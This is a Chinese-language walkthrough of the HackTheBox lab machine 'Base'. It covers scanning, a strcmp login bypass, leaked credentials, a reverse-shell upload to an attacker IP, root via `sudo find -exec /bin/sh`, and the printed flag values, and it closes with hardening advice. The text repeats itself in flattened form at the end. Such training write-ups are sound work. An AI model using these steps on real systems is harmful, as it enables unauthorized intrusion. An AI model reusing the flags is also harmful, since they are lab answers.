[StartingPoint][Tier2]Base
字数 1242 2025-08-19 12:42:24

网络安全渗透测试实战教学:从基础扫描到权限提升

1. 初始信息收集

1.1 端口扫描

使用Nmap进行基础扫描,识别开放端口和服务:

nmap -sC -sV 10.129.234.232

发现开放端口

  • 22端口:SSH服务
  • 80端口:HTTP服务

2. Web应用分析

2.1 登录页面路径

通过目录扫描或手动探测发现登录页面路径:

/login/login.php

2.2 目录结构分析

使用Gobuster进行目录扫描:

gobuster dir --url http://10.129.234.232 --wordlist ./word.txt

重要发现

  • /_uploaded:文件上传目录
  • /admin:可能存在管理后台
  • /static:静态资源目录

2.3 登录目录文件数量

/login目录下存在3个文件:

  1. login.php:登录主页面
  2. config.php:配置文件
  3. 第三个文件可能是.htaccess或其他支持文件

3. 登录机制分析

3.1 密码比较函数

后端使用PHP的strcmp()函数进行用户名密码验证:

strcmp($user_input, $valid_credential);

安全漏洞

  • PHP 7.3.0之前版本的strcmp()函数存在类型转换漏洞,可通过数组绕过验证:
    $_POST['password'] = array(); // 可绕过strcmp验证
    

3.2 配置文件泄露

发现配置文件路径:

/var/www/html/login/config.php

内容示例

<?php
$db_user = "john";
$db_pass = "thisisagoodpassword";
?>

4. 文件上传与利用

4.1 上传目录

上传文件存储在:

/_uploaded/

4.2 Webshell上传

上传PHP反向shell脚本(示例代码已提供),关键参数:

$ip = '10.10.16.5'; // 攻击者IP
$port = 10032; // 攻击者监听端口

5. 系统用户信息

5.1 有效用户

系统存在用户:

  • john:具有主目录/home/john
  • 密码:thisisagoodpassword(从配置文件获取)

6. 权限提升

6.1 sudo权限检查

发现用户john可以以root身份运行find命令:

/usr/bin/find

6.2 find命令提权

利用find的-exec参数执行命令:

sudo find . -exec /bin/sh \; -quit

提权原理

  • -exec:对每个匹配文件执行指定命令
  • \;:表示命令结束
  • -quit:处理第一个文件后立即退出

6.3 GTFOBins利用

参考GTFOBins(https://gtfobins.github.io/)中关于find的提权方法:

sudo find . -exec /bin/sh \; -quit

7. 标志获取

7.1 用户flag

路径:

/home/john/user.txt

内容:

f54846c258f3b4612f78a819573d158e

7.2 root flag

路径:

/root/root.txt

内容:

51709519ea18ab37dd6fc58096bea949

8. 安全建议

  1. strcmp使用

    • 升级PHP至7.3.0+版本
    • 使用严格比较===替代strcmp
  2. 配置文件保护

    • 将配置文件移出Web可访问目录
    • 设置适当权限(600)
  3. sudo权限控制

    • 避免普通用户以root身份运行find等危险命令
    • 使用更细粒度的sudoers配置
  4. 文件上传限制

    • 验证文件类型和内容
    • 将上传目录设置为不可执行
  5. 交换文件安全

    • 注意.swp文件可能泄露敏感信息
    • 考虑禁用swap或加密swap分区

9. 完整渗透流程总结

  1. 端口扫描发现服务
  2. Web目录枚举找到登录页面
  3. 分析登录机制,利用strcmp漏洞或获取凭据
  4. 通过文件上传获取webshell
  5. 横向移动获取用户凭据
  6. 利用sudo权限不当配置提权
  7. 获取最终flag

通过此案例,可以全面了解从信息收集到权限提升的完整渗透测试流程。

网络安全渗透测试实战教学:从基础扫描到权限提升 1. 初始信息收集 1.1 端口扫描 使用Nmap进行基础扫描,识别开放端口和服务: 发现开放端口 : 22端口:SSH服务 80端口:HTTP服务 2. Web应用分析 2.1 登录页面路径 通过目录扫描或手动探测发现登录页面路径: 2.2 目录结构分析 使用Gobuster进行目录扫描: 重要发现 : /_uploaded :文件上传目录 /admin :可能存在管理后台 /static :静态资源目录 2.3 登录目录文件数量 /login 目录下存在3个文件: login.php :登录主页面 config.php :配置文件 第三个文件可能是 .htaccess 或其他支持文件 3. 登录机制分析 3.1 密码比较函数 后端使用PHP的 strcmp() 函数进行用户名密码验证: 安全漏洞 : PHP 7.3.0之前版本的 strcmp() 函数存在类型转换漏洞,可通过数组绕过验证: 3.2 配置文件泄露 发现配置文件路径: 内容示例 : 4. 文件上传与利用 4.1 上传目录 上传文件存储在: 4.2 Webshell上传 上传PHP反向shell脚本(示例代码已提供),关键参数: 5. 系统用户信息 5.1 有效用户 系统存在用户: john :具有主目录 /home/john 密码: thisisagoodpassword (从配置文件获取) 6. 权限提升 6.1 sudo权限检查 发现用户 john 可以以root身份运行 find 命令: 6.2 find命令提权 利用find的 -exec 参数执行命令: 提权原理 : -exec :对每个匹配文件执行指定命令 \; :表示命令结束 -quit :处理第一个文件后立即退出 6.3 GTFOBins利用 参考GTFOBins(https://gtfobins.github.io/)中关于find的提权方法: 7. 标志获取 7.1 用户flag 路径: 内容: 7.2 root flag 路径: 内容: 8. 安全建议 strcmp使用 : 升级PHP至7.3.0+版本 使用严格比较 === 替代 strcmp 配置文件保护 : 将配置文件移出Web可访问目录 设置适当权限(600) sudo权限控制 : 避免普通用户以root身份运行find等危险命令 使用更细粒度的sudoers配置 文件上传限制 : 验证文件类型和内容 将上传目录设置为不可执行 交换文件安全 : 注意 .swp 文件可能泄露敏感信息 考虑禁用swap或加密swap分区 9. 完整渗透流程总结 端口扫描发现服务 Web目录枚举找到登录页面 分析登录机制,利用strcmp漏洞或获取凭据 通过文件上传获取webshell 横向移动获取用户凭据 利用sudo权限不当配置提权 获取最终flag 通过此案例,可以全面了解从信息收集到权限提升的完整渗透测试流程。